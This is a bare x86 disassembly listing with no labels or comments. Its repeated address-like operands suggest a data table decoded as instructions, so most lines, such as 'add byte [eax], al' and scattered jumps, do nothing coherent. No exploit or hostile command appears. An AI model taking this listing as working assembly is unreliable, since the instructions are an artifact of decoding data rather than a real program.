add byte [ebx - 0x16ffbda0], ah
pop ebp
inc edx
add byte [esi - 0x2fffbda3], ch
pop ebp
inc edx
add al, dl
pop ebp
inc edx
add al, dl
pop ebp
inc edx
add dh, dl
pop ebp
inc edx
add al, dl
pop ebp
inc edx
add bl, ah
pop ebp
inc edx
add byte [edx - 0x52ffbd9a], al
push 0x68a40042
inc edx
add byte [eax + ebp*2 + 0x66820042], ah
inc edx
add byte [esi], ah
inc edx
add byte [eax + 0x67], al
inc edx
add byte [eax + 0x67], al
inc edx
add byte [eax + 0x67], al
inc edx
add byte [esi + 0x67], al
inc edx
add byte [eax + 0x67], al
inc edx
add byte [esi + 0x67], dl
inc edx
add byte [edi + 0x42], bl
add al, ch
inc edx
add byte [eax - 0x6affbd98], al
push 0x688c0042
inc edx
add byte [eax + ebp*2 + 0x68800042], cl
inc edx
add dl, dl
push 0x6b600042
inc edx
add byte [ebx + 0x6e], cl
inc edx
add byte [eax + 0x6b], ah
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add cl, bl
jp 0x447b6d
add byte [ecx], al
add byte [eax], al
add dh, ch
jp 0x447b75
add byte [eax], al
outsd dx, dword [esi]
inc edx
add ah, dh
jp 0x447b7d
add bh, bh
jp 0x447b81
add byte [edx - 0x2fffbd90], ch
jo 0x447b89
add byte [esi], al
jne 0x447b8d
add dh, dh
jo 0x447b91
add byte [ecx + esi*2 + 0x42], dl
add byte [0x54004271], ch
jno 0x447b9d
add byte [edx + 0x71], bl
inc edx
add byte [ebp - 0x3fffbd8d], ch
jae 0x447ba9
add byte [edx - 0x52ffbd8c], ah
je 0x447bb1
add dh, cl
je 0x447bb5
add cl, bl
je 0x447bb9
add ch, ch
je 0x447bbd
add byte [eax], al
jne 0x447bc1
add byte [eax], al
jne 0x447bc5
add byte [eax], al
jne 0x447bc9
add byte [eax], al
jne 0x447bcd
add byte [esi], al
jne 0x447bd1
add byte [edx - 0x53ffbd90], dh
jne 0x447bd9
jo 0x447bd5
add byte [ebp + esi*2 + 0x10042], ch
add byte [eax], al
add dword [eax], eax
add byte [eax], al
lodsb al, byte [esi]
jne 0x447be5
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ebp + esi*2 + 0x10042], ch
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
lodsb al, byte [esi]
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ebp + esi*2 + 0x10042], ch
add byte [eax], al
sar byte [edx + 0x42], 1
jne 0x447bf5
add byte [ecx], al
add byte [eax], al
add al, dl
jp 0x447bfd
add byte [esi - 0x3fffbd8b], dh
jne 0x447c01
add al, al
js 0x447c05
add byte [eax], dl
ja 0x447c09
add byte [esi + 0x7a], ch
inc edx
jp 0x447c0d
add al, al
js 0x447c11
add byte [edi + 0x7a], bh
inc edx
jp 0x447c15
add byte [eax - 0x56ffbd86], ah
jp 0x447c19
add byte [ecx - 0x2fffbd86], ch
jp 0x447c1d
add al, dl
jp 0x447c21
add al, ah
outsb dx, byte [esi]
inc edx
add bl, ch
outsb dx, byte [esi]
inc edx
add al, dl
jp 0x447c2d
add al, ah
outsb dx, byte [esi]
inc edx
add byte [ecx - 0x5effbd84], al
jl 0x447c39
add byte [eax], ah
jge 0x447c3d
add al, cl
jl 0x447c41
add byte [edi*2 + 0x7dc70042], al
inc edx
jge 0x447c45
add bh, al
jge 0x447c49
add byte [esi + 0x400427e], ah
jle 0x447c4d
add byte [edi*2 + 0x7ea60042], al
inc edx
jge 0x447c51
add byte [esi - 0x59ffbd82], ah
jle 0x447c55
add byte [esi - 0x27ffbd82], ah
jle 0x447c59
add al, bl
jle 0x447c5d
add byte [esi - 0xfffbd82], ah
jle 0x447c61
add al, dh
jle 0x447c65
add al, dl
add byte [edx], 0xf0
jle 0x447c6d
add al, dh
jle 0x447c71
add al, dh
jle 0x447c75
add dh, dh
jle 0x447c79
add byte [esi], al
jg 0x447c7d
add al, dl
add byte [edx], 0x16
jg 0x447c85
add al, dl
add byte [edx], 0x26
jg 0x447c8d
add al, dl
add byte [edx], 0x36
jg 0x447c95
add al, dl
add byte [edx], 0x90
jg 0x447c9d
add byte [eax - 0x4ffbd81], bl
jg 0x447ca1
add bl, bh
add dword [edx], 0x427fc9
jmp 0x447beb
jg 0x447ca9
add bl, ch
add dword [edx], 0x427ff9
aaa
jg 0x447cb1
add byte [edi], dh
add byte [edx], 0x46
add byte [edx], 0xd8
add dword [edx], 0x4281eb
add dword [eax], eax
add byte [eax], al
add dword [edx], 1
add dword [eax], eax
add byte [eax], al
jmp 0x447c0b
add byte [eax], al
add bl, ch
add dword [edx], 1
cmc
add byte [eax], al
add ch, dh
add dword [edx], 0x4281fb
add eax, 0xe004283
add dword [edx], 0x428305
push cs
add dword [edx], 5
add dword [edx], 0xfffffffb
add dword [edx], 0x428294
rol byte [edx - 0x7d4fffbe], 1
inc edx
add byte [edx - 0x4fffbd7e], bl
add byte [edx], 0xd0
add byte [edx], 0xb0
add byte [edx], 0x9a
add byte [edx], 0xb0
add byte [edx], 0xd0
add byte [edx], 0xe0
add byte [edx], 0xe0
add byte [edx], 0xe2
add byte [edx], 0xe0
add byte [edx], 1
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edi*2 + 0x7d0e0042], al
inc edx
add byte [eax], ah
jge 0x447d29
add byte [esi - 0x7d], al
inc edx
add byte [esi], ah
jge 0x447d31
add byte [esi - 0x7d], al
inc edx
add byte [ecx + 0x100427c], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [esp + eax*4], al
inc edx
add byte [ecx], al
add byte [eax], al
add byte [edi - 0x6fffbd84], al
jl 0x447d51
add dh, ch
cmp eax, 0x44f1004a
dec edx
add byte [eax*2 + 0x6e14004a], dl
dec edx
add byte [edi - 0x78ffb58e], al
jb 0x447d71
add byte [eax + 0x62], bh
dec edx
add byte [eax], ah
je 0x447d79
bound ecx, qword [edx]
and byte [edx + ecx*2], dh
xchg esi, eax
add byte [esi - 0x4dffb58b], dl
bound ecx, qword [edx]
aam 0x62
dec edx
add ah, ch
jne 0x447d7d
add byte [edx - 0x2bffb59e], dh
bound ecx, qword [edx]
in al, dx
bound ecx, qword [edx]
jp 0x447da5
dec edx
add byte [ecx], dl
arpl word [edx], cx
popfd
arpl word [edx], cx
pcmpgtb mm1, qword [edx]
mov dh, 0x75
dec edx
jne 0x447d9d
add byte [esi - 0x5dffb58b], dh
insb byte es:[edi], dx
dec edx
add byte [0x4b004a49], bl
dec ecx
dec edx
add byte [ecx + 0x49], cl
dec edx
add byte [edx + esi*2 + 0x75e6004a], dh
dec edx
add byte [edx + 0x4a], bl
dec edx
dec edx
add cl, dl
dec edx
dec edx
add byte [edx + ecx*2 + 0x4a], dh
dec edx
dec edx
add byte [0xbd004a4b], dl
dec ebp
dec edx
add byte [esi + ecx*2 + 0x4f6a004a], dl
dec ebx
dec edx
add byte [ebp - 0x6bffb5b3], bh
dec esi
dec edx
add byte [edx + 0x4f], ch
dec edx
add byte [edx + 0x4f], ch
dec edx
add dh, ah
push esp
dec edx
add byte [edx + ebx*2 + 0x4a], dl
add byte [ebp + eax*2 + 0x45a4004a], ah
inc ebp
dec edx
add ah, ah
inc ebp
dec edx
add ah, ah
inc ebp
dec edx
add byte [eax], bh
inc esi
dec edx
add byte [edi + eax*2 + 0x48d6004a], dl
dec edx
add byte [eax + 0x48], cl
dec edx
add byte [ebp + 0x46], bl
dec edx
add byte [edi + 0x7c004a47], ch
inc esi
dec edx
add byte [edi + eax*2], al
dec edx
add byte [eax + 0x48], cl
dec edx
add byte [eax + 0x48], cl
dec edx
add ah, al
inc ebp
dec edx
add byte [edx + 0x3a], bl
dec edx
add byte [eax + 0x3a], dh
dec edx
add byte [eax + 0x77004a3a], bl
pop edx
dec edx
add byte [eax + 0x31004a3a], bl
dec edx
add byte [ebp - 0x72ffb59e], cl
bound ecx, qword [edx]
hlt